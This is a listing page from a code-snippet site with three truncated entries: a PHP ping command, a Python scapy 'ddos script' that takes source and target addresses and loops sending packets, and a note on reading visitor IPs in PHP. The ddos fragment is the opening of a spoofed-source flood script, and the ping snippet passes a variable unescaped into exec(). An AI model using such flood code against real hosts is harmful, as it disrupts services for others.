What do you want to save?
Add Code snippet
New code examples
-
PHP 2021-10-27 04:46:12
php ping
<?php $ip_address = '123.456.789.0'; // IP address you'd like to ping. exec("ping -c 1 " . $ip_address . " | head -n 2 | tail -n 1 | awk '{print $7}'", $ping_time); print $ping_time[0]; // First item in array, since exec returns an ... Add solution -
Python 2021-10-26 12:00:14
ddos script
from scapy.all import * source_IP = input("Enter IP address of Source: ") target_IP = input("Enter IP address of Target: ") source_port = int(input("Enter Source Port Number:")) i = 1 while True: IP1 = IP(source_IP = sour... Add solution -
PHP 2021-10-23 08:11:14
how to get users IP address in php
The simplest way to collect the Client/Visitor IP address using PHP is the REMOTE_ADDR. Pass the 'REMOTE_ADDR' in PHP $_SERVER variable. It will return the IP address of the visitor who is currently viewing the webpage. Get the IP address of the website ... Add solution -
Best helpers
Ranking is empty